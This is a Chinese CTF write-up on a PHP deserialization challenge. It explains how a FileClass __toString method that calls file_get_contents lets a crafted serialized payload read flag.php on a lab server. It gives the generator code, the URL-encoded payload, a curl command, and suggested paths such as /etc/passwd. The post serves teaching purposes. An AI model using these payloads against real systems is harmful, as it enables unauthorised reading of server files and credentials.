当前位置: 首页 > news >正文

【CTF-WEB-反序列化】利用__toString魔术方法读取flag.php

题目

页面提示输入?code,那我们在网址里get一下
在这里插入图片描述
出现了新页面的提示,进入看看
在这里插入图片描述
下面有个help.php页面的提示,进入看看
在这里插入图片描述

有一段php代码,仔细分析,应该是要用反序列法
在这里插入图片描述

代码如下

class FileClass{ public $filename = 'error.log'; public function __toString(){ return file_get_contents($this->filename); } 
}

代码分析

关键点解析:

  1. 类结构

    • FileClass 是一个PHP类
    • public $filename = 'error.log':公共属性,默认值为’error.log’
    • public function __toString():PHP魔术方法
  2. __toString() 魔术方法

    • 这是PHP中的特殊方法
    • 当对象被当作字符串处理时自动调用
    • 例如:echo $objectprint $object或字符串连接时
    • 本例中它执行file_get_contents($this->filename),那么我们就想办法,让这个方法去读取flag文件
  3. 文件读取机制

    • file_get_contents() 读取文件内容
    • 读取的文件路径由$this->filename决定
    • 默认读取error.log,但属性值可修改
  4. 安全漏洞

    • 如果攻击者能控制$filename的值
    • 就能读取服务器任意文件
    • 这是典型的"任意文件读取"漏洞

构造攻击的Payload生成器

将下列代码用php运行,得到结果O:9:"FileClass":1:{s:8:"filename";s:8:"flag.php";}

<?php
class FileClass{public $filename = 'flag.php';
}$file = new FileClass();
echo serialize($file);
?>

通常flag就存储在这flag.php个文件里

在这里插入图片描述

关键点解析:

  1. 类定义
    • 复制目标网站的类名FileClass
    • 修改$filename为攻击目标flag.php

为什么需要完全相同的类名?
在反序列化过程中,PHP会根据序列化字符串中的类名:

  • 查找当前是否已定义同名类
  • 如果找到,使用该类创建对象
  • 如果未找到,创建__PHP_Incomplete_Class特殊对象
    因此攻击代码中必须使用完全相同的类名FileClass,否则:
  • 服务器找不到类定义
  • 无法正确创建对象
  • __toString()不会被触发
  1. 对象创建
    • $file = new FileClass(); 创建对象实例
    • 此时$file->filename = 'flag.php'

重写属性值不会破坏__toString()方法,反而让方法基于新值执行,这正是PHP对象序列化漏洞能被利用的根本原因——攻击者可以控制对象状态,而服务器代码会基于该状态执行敏感操作。

  1. 序列化

    • serialize($file) 将对象转为序列化字符串
    • 结果示例:O:9:"FileClass":1:{s:8:"filename";s:8:"flag.php";}
    • 格式解析:
      • O:9:"FileClass":对象(类名长度9)
      • 1:1个属性
      • {s:8:"filename":属性名(字符串长度8)
      • s:8:"flag.php":属性值(字符串长度8)
  2. URL编码
    需要对序列化字符串进行编码,这是为了确保在通过URL参数传递时,特殊字符(如双引号、冒号等)不会破坏URL结构。
    可以使用urlencode(serialize($file)) 进行编码

    • 确保安全传输:
      • :%3A
      • "%22
      • ;%3B
      • {%7B
      • }%7D
    • 最终结果:O%3A9%3A%22FileClass%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D

本文实际操作中,URL 编码/解码网站直接对后面的参数进行编码即可。

  • 最终攻击网址为:http://223.112.39.132:44813/index.php?code=O%3A9%3A%22FileClass%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D

在这里插入图片描述
在这里插入图片描述
ctf{64e3be45fb0848259cdcc624758a23119d9a035c}

  1. 查看结果:
  • 如果页面显示PHP代码 → 查看网页源代码
  • 如果空白 → 尝试其他文件路径
  • 常见备选路径:
    $filename = '/flag';          // 根目录下的flag文件
    $filename = '../../flag.php'; // 上级目录
    $filename = '/etc/passwd';    // 测试文件
    

为什么CTF题目这样设计?

  1. 漏洞教育:展示反序列化漏洞的实际危害
  2. 魔术方法风险:演示__toString()等魔术方法的安全隐患
  3. 属性控制:说明用户可控对象属性的危险性
  4. 文件读取:任意文件读取是常见高危漏洞类型

这种设计完美展示了:当不可信输入直接传递给unserialize()时,攻击者可以通过控制对象属性实现敏感操作。

为什么这样做能获取flag?

  1. 服务器存在反序列化漏洞:它接收code参数并直接反序列化
  2. 反序列化后创建了FileClass对象
  3. 当服务器尝试输出该对象时,自动调用__toString()方法
  4. 该方法读取并返回flag.php的内容
  5. 你就能在页面中看到flag文件的内容

现在尝试执行这些步骤,应该能成功获取flag!如果遇到问题,可以尝试不同的文件路径或检查payload格式是否正确。

备注

  1. 文件路径问题

    • 如果flag.php不在当前目录,尝试:
      • /flag
      • /flag.txt
      • ../../flag.php
      • /var/www/html/flag.php
  2. 调试技巧

    • 通常,也可以先尝试读取/etc/passwd确认漏洞存在:
      $filename = '/etc/passwd';
      
    • 如果页面显示空白,查看网页源代码
    • 也可以使用curl测试:
      curl "http://223.112.39.132:44813/help.php?code=O%3A9%3A%22FileClass%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D"
      
http://www.xdnf.cn/news/1189171.html

相关文章:

  • 教育培训系统源码解析:如何打造高可扩展的在线学习平台?
  • 【CTF-Web】dirsearch寻找download.php进行?path=flag.txt任意文件下载
  • Android Studio 提示信息 ‘equals(““)‘ can be replaced with ‘isEmpty()‘
  • 《Java 程序设计》第 6 章 - 字符串
  • VTK交互——Callback
  • NLua和C#交互
  • 访问者模式感悟
  • 泰山派GPIO编译 ADB下载 万用表测量GPIO电压
  • 【ELasticsearch】节点角色分类与作用解析
  • OpenCV学习探秘之二 :数字图像的矩阵原理,OpenCV图像类与常用函数接口说明,及其常见操作核心技术详解
  • 分治算法 (Divide and Conquer)原理、及示例-JS版
  • AI 编程工具 Trae 重要的升级。。。
  • 经典IDE之Turbo C
  • nginx的 `root` 和 `alias` 笔记250726
  • 0.深度学习环境配置步骤
  • VTK交互——ClientData
  • 英语听力口语词汇-8.美食类
  • (AC)Playlist
  • 【橘子分布式】gRPC(番外篇-监听流)
  • 15.6 DeepSpeed+Transformers实战:LLaMA-7B训练效率提升210%,显存直降73%
  • 前端设计中如何在鼠标悬浮时同步修改块内样式
  • Cgroup 控制组学习(一)
  • 基于深度学习的图像分类:使用Inception-v3实现高效分类
  • 前端基础知识Vue系列 - 29(怎么处理vue项目中的错误)
  • vue 脚手架配置代理
  • RS485转Profinet网关配置指南:高效启动JRT激光测距传感器测量模式
  • 深入解析三大Web安全威胁:文件上传漏洞、SQL注入漏洞与WebShell
  • Qt 线程池设计与实现
  • HTML 音频/视频
  • 从一个“诡异“的C++程序理解状态机、防抖与系统交互